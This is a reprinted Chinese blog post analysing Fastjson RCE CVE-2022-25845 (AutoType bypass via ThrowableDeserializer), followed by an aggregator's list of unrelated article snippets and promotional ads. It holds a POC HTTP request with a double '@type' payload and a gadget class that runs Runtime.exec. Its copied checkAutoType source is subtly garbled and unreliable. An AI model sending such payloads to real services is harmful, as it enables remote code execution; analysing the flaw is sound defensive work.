【漏洞分析】Fastjson最新版本RCE漏洞

news2024/11/23 3:11:43

01漏洞编号

CVE-2022-25845

CNVD-2022-40233

CNNVD-202206-1037

二、Fastjson知多少

万恶之源AutoType

Fastjson的主要功能是将Java Bean序列化为JSON字符串,这样得到的字符串就可以通过数据库等方式进行持久化了。

但是,Fastjson在序列化及反序列化的过程中,没有使用Java自带的序列化机制,而是自定义了一套机制。

对于JSON框架来说,想要把一个Java对象转换成字符串,有两种选择:

1、基于属性

2、基于Setter/Getter

在我们常用的JSON序列化框架中,Fastjson和Jackson将对象序列化成Json字符串时,是通过遍历该类中所有的Getter方法来进行的。而Gson不是这么做的,它是通过反射遍历该类中的所有属性,并把其值序列化为Json 。

假设我们有下面这个Java类:

class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) { 
this.fruit = fruit;
} 
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等 
}
//所有网络安全全套资料免费领取加w:anquan455领取~

当我们对它进行序列化时,Fastjson会扫描其中的Getter方法,即找到getName和getFruit,这时就会将Name和Fruit两个字段的值序列化到JSON字符串中。

那么问题来了,上面定义的Fruit只是一个接口,序列化的时候Fastjson能将属性值正确序列化出来吗?如果可以的话,反序列的时候,Fastjson会把这个Fruit反序列化成什么类型呢?

我们尝试基于Fastjson v1.2.68验证一下:

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

以上代码比较简单,我们创建了一个store,为它指定了名称,并创建了Fruit的子类型Apple,然后将store用JSON.toJSONString进行序列化,可以得到以下JSON内容:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}

那么,Fruit的类型是什么呢,能否反序列化为Apple呢?我们再来执行以下代码:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果如下:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到,在将store反序列化后,我们尝试将Fruit转换成Apple,但抛出了异常,如果直接转换成Fruit则不会报错,如下:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

从以上现象中我们得知,当一个类中包含了一个接口(或抽象类)的时候,使用Fastjson进行序列化,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

如何解决这个问题呢?Fastjson引入了AutoType,在序列化时,把原始类型记录下来。使用方法是通过SerializerFeature.WriteClassName进行标记,即将上述代码中的:

String jsonString = JSON.toJSONString(store);

修改为:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

修改后的代码输出结果如下:

System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
,
"name":"Hollis"
}

可以看到,使用SerializerFeature.WriteClassName进行标记后,JSON符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。**

如上,将序列化后的字符串再反序列化,就可以顺利拿到Apple类型,整体输出内容如下:

toJSONString : {
"@type":"com.hollis.lab.fastjson.test.Store","fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

这就是Fastjson中引入AutoType的原因,但是也正因为这个特性,因为功能设计之初在安全方面考虑不周,给后续的Fastjson使用者带来了无尽的痛苦。

checkAutoType

Fastjson为了实现反序列化引入了AutoType,造成:

1、Fastjson是基于内置黑名单来实现安全的,打开AutoType后可能造成安全风险,即绕过黑名单。

2、关闭AutoType后,是基于白名单进行防护的,此次解析的漏洞就是在未开启AutoType时产生的。

从v1.2.25版本开始,Fastjson默认关闭了AutoType支持,并且加入了checkAutoType,加入了黑白名单来防御AutoType开启的情况。

Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过,绝大部分情况都是寻找一个新的利用链来绕过黑名单,所以Fastjson官方的黑名单列表越来越大;但是更有意义的绕过显然是AutoType机制绕过,这样无需手动配置autoTypeSupport也可能进行利用。

我们先来看一下通过checkAutoType()校验的方式有哪些:

1、白名单里的类

2、开启了AutoType

3、使用了JSONType注解

4、指定了期望类(expectClass)

5、缓存在mapping中的类

6、使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

三、攻击思路

**目标:**绕过AutoType机制

**手段:**通过checkAutoType()校验

**方法:**寻找使用checkAutoType()的函数,并使之通过checkAutoType()校验

通过研究v1.2.50和v1.2.68的绕过方式,主要是在ObjectDeserializer接口的子类JavaBeanDeserializer中存在expectClass非空的checkAutoType调用,这也是绕过的关键。顺着这个思路,我们继续在ObjectDeserializer接口的其他子类中寻找expectClass非空的checkAutoType调用,发现在子类ThrowableDeserializer的函数deserialze中也存在满足条件的调用。
1666582209_635606c1646616c63e76f.jpg

1.2.80版本的checkAutoType代码如下:

public Class<?> checkAutoType(Class type) {
if (get(type) != null) {
return type;
}
return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
Boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
final Boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz;
final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
if (h1 == 0xaf64164c86024f1aL) {
// [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((fnv1a_64_magic_hashcode ^ className.charAt(0))
* fnv1a_64_magic_prime)
^ className.charAt(1))
* fnv1a_64_magic_prime)
^ className.charAt(2)) 
* fnv1a_64_magic_prime;
long fullHash = TypeUtils.fnv1a_64(className);
Boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) = 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
throw new JSONException("autoType is not support. " + typeName);
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& clazz != java.util.LinkedHashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
Boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
}
catch (Exception e) {
// skip
}
finally {
IOUtils.close(is);
}
final int mask = Feature.SupportAutoType.mask;
Boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
Boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
 }
 }
 if (!autoTypeSupport) {
 throw new JSONException("autoType is not support. " + typeName);
}
 if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}
 return clazz;
}

四、POC

按照上面思路构造POC如下:

POST /fastjson HTTP/1.1
Host: 172.31.1.101:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 117
{
"@type": "java.lang.Exception",
"@type": "com.example.springfastjson.model.poc20220523",
"name": "control"
}

代码中需要有如下的类:

package com.example.springfastjson.model;
import java.io.IOException;
public class poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
}
catch (IOException e) {
e.printStackTrace();
}
}
}

五、代码分析

通过一系列的字符检查之后,@type": "java.lang.Exception"步入到checkAutoType

image.png

经过checkAutoType函数检查。
image.png

尝试从缓存mapping中实例化clazz(TypeUtils.addBaseClassMappings已经将java.lang.Exception加入了mapping):
image.png
image.png

往下走getDeserializer返回的ObjectDeserializer为ThrowableDeserializer类型。
image.png
image.png

进入ThrowableDeserializer.deserialze,顺利到达checkAutoType 。
image.png

参数传到checkAutoType函数,且expectClass不为空,顺利绕过checkAutoType函数。

【一一帮助安全学习,点我一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

image.png
image.png
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2239642.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PSRAM,Flash,SRAM,ROM有什么区别

PSRAM、Flash、SRAM 和 ROM 是四种不同类型的存储器&#xff0c;它们在计算机和嵌入式系统中的用途、特性和工作方式各不相同。下面是这四种存储器的区别和各自的特点&#xff1a; ### 1. **SRAM&#xff08;静态随机存取存储器&#xff09;** - **特性**&#xff1a; - **易…

大数据学习13之Scala基础语法(重点)

1. 简介 Scala 是 Scalable Language 的简写&#xff0c;是一门多范式的编程语言。创始人为 Martin Odersky 马丁奥德斯基。 Scala 这个名字来源于 Scalable Language(可伸缩的语言&#xff09;&#xff0c;它是一门基于 JVM 的多范式编程语言&#xff0c;通俗的说&#xff1a;…

django入门【05】模型介绍——字段选项(二)

文章目录 1、null 和 blank示例说明⭐ null 和 blank 结合使用的几种情况总结&#xff1a; 2、choices**choices 在 Django 中有以下几种形式&#xff1a;**&#xff08;1&#xff09; **简单的列表或元组形式**&#xff08;2&#xff09; **字典映射形式**&#xff08;3&#…

微信小程序:vant组件库安装步骤

前言&#xff1a;在微信小程序中引用vant组件报错&#xff0c;提示路径不存在&#xff0c;这很有可能是因为没有安装构建vant组件库导致。下面是我整理的安装vant组件库的步骤: 第一步&#xff1a;安装node.js(执行完第一步请重启小程序) 具体步骤请看链接&#xff1a;node.js…

Python如何根据给定模型计算权值

目录 一、特征权重的重要性 二、线性回归中的特征权重计算 1. 导入必要的库 2. 创建示例数据集 3. 分割数据集 4. 训练线性回归模型并计算权重 三、特征选择方法 四、实际案例&#xff1a;金融科技数据集 五、总结 在机器学习中&#xff0c;特征权重的计算是理解模型如…

过去几年电子学习的趋势

近年来&#xff0c;在技术和不断变化的学习者期望的推动下&#xff0c;电子学习已经发展成为一种适应性强、沉浸式和社会化的教育形式。个性化已成为最具影响力的趋势之一&#xff0c;Coursera和LinkedIn Learning等平台为个人量身定制内容。这些平台使用人工智能来建议课程、跟…

面相小白的php反序列化漏洞原理剖析

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文整理反序列化漏洞的一些成因原理 建议学习反序列化之前 先对php基础语法与面向对象有个大体的了解 (我觉得我整理的比较细致&#xff0c;了解这俩是个啥就行) 漏洞实战情况 这个漏洞黑盒几乎不会被发现&am…

Flutter中的Material Theme完全指南:从入门到实战

Flutter作为一款热门的跨平台开发框架&#xff0c;其UI组件库Material Design深受开发者喜爱。本文将深入探讨Flutter Material Theme的使用&#xff0c;包括如何借助Material Theme Builder创建符合产品需求的主题风格。通过多个场景和代码实例&#xff0c;让你轻松掌握这一工…

IDC机房服务器托管的费用组成

IDC机房服务器托管的费用&#xff0c;并不是只有我们所想的电费而已&#xff0c;还有一些其它费用组成&#xff0c;详细来看&#xff1a; 1. 机位费用&#xff1a;   - 机位费用是根据服务器的尺寸和占用的空间来计算的。服务器通常按照U&#xff08;Unit&#xff09;的高度来…

032集——圆转多段线(Circle to Polyline)(CAD—C#二次开发入门)

CAD中圆可转为带有凸度的多段线以方便后期数据计算、处理&#xff0c;效果如下&#xff1a; 白色为圆&#xff0c;红色为转换后的多段线&#xff08;为区分&#xff0c;已手工偏移多段线&#xff09; public static void XX(){var curves Z.db.SelectEntities<Entity>…

Nginx更换ssl证书不生效

一.场景 在用的ssl证书要过期了&#xff0c;申请了新的ssl证书下来&#xff0c;在nginx配置上更换上去后&#xff0c;打开系统地址&#xff0c;一依然是使用原来的旧证书&#xff0c;以前有更换过别的域名证书&#xff0c;重启nginx服务后立马就生效了。 这次没生效&#xff…

华为eNSP:MSTP

一、什么是MSTP&#xff1f; 1、MSTP是IEEE 802.1S中定义的生成树协议&#xff0c;MSTP兼容STP和RSTP&#xff0c;既可以快速收敛&#xff0c;也提供了数据转发的多个冗余路径&#xff0c;在数据转发过程中实现VLAN数据的负载均衡。 2、MSTP可以将一个或多个VLAN映射到一个Inst…

Jmeter中的配置原件(二)

5--HTTP请求默认值 用途 设置默认值&#xff1a;为多个HTTP请求设置通用的默认值&#xff0c;如服务器地址、端口号、协议等。简化配置&#xff1a;避免在每个HTTP请求中重复配置相同的参数。 配置步骤 添加HTTP请求管理器 右键点击线程组&#xff08;Thread Group&#xff…

SpringBoot(二十一)SpringBoot自定义CURL请求类

在测试SpringAi的时候,发现springAI比较人性化的地方,他为开发者提供了多种请求方式,如下图所示: 上边的三种方式里边,我还是喜欢CURL,巧了,我还没在Springboot框架中使用过CURL呢。正好封装一个CURL工具类。 我这里使用httpclient来实现CURL请求。 一:添加依赖 不需要…

空空想色?李子柒 想念你们!——早读(逆天打工人爬取热门微信文章解读)

空空想色 引言Python 代码第一篇 李子柒 想念你们&#xff01;第二篇 什么叫个性命双休结尾 引言 又开始新的尝试 最近看了坛经 所以现在佛性满满 看到很多sese的图 现在基本不会有什么想法了 以前看不懂呀 现在是借着王德峰的讲解勉强看懂 后面也会越来越懂 总之就是 空空 …

高频旁路电容选型注意事项

1. 前置频率倍减器 图1是用于1.9GHz频带的PLL信号发生器使用的前置频率倍减器的电路图。在这种高频率中&#xff0c;普通PLL用可编程序计数器不工作&#xff0c;而是把ECL等前置频率倍减器连接在前段后分频。 这种例子的分频比为1/256。例如&#xff1a;1.920GHz的输入信号分…

Android Studio | 修改镜像地址为阿里云镜像地址,启动App

在项目文件的目录下的 settings.gradle.kts 中修改配置&#xff0c;配置中包含插件和依赖项 pluginManagement {repositories {maven { urluri ("https://www.jitpack.io")}maven { urluri ("https://maven.aliyun.com/repository/releases")}maven { urlu…

PDF24:多功能 PDF 工具使用指南

PDF24&#xff1a;多功能 PDF 工具使用指南 在日常工作和学习中&#xff0c;PDF 是一种常见且重要的文档格式。无论是查看、编辑、合并&#xff0c;还是转换 PDF 文件&#xff0c;能够快速高效地处理 PDF 文档对于提高工作效率至关重要。PDF24 是一款免费、功能全面的 PDF 工具…

opencv实时弯道检测

项目源码获取方式见文章末尾&#xff01; 600多个深度学习项目资料&#xff0c;快来加入社群一起学习吧。 《------往期经典推荐------》 项目名称 1.【基于CNN-RNN的影像报告生成】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实现…

怎么禁止文件外发?企业如何禁止文件外发,教你6种方法,综合运用效果加倍

在当今数字化的商业环境中&#xff0c;企业内部文件承载着大量关键信息&#xff0c;犹如企业的命脉。这些文件可能包含着核心技术机密、客户资料、未公开的战略规划以及敏感的财务数据等&#xff0c;它们是企业在激烈市场竞争中立足的重要资产。然而&#xff0c;随着信息传播途…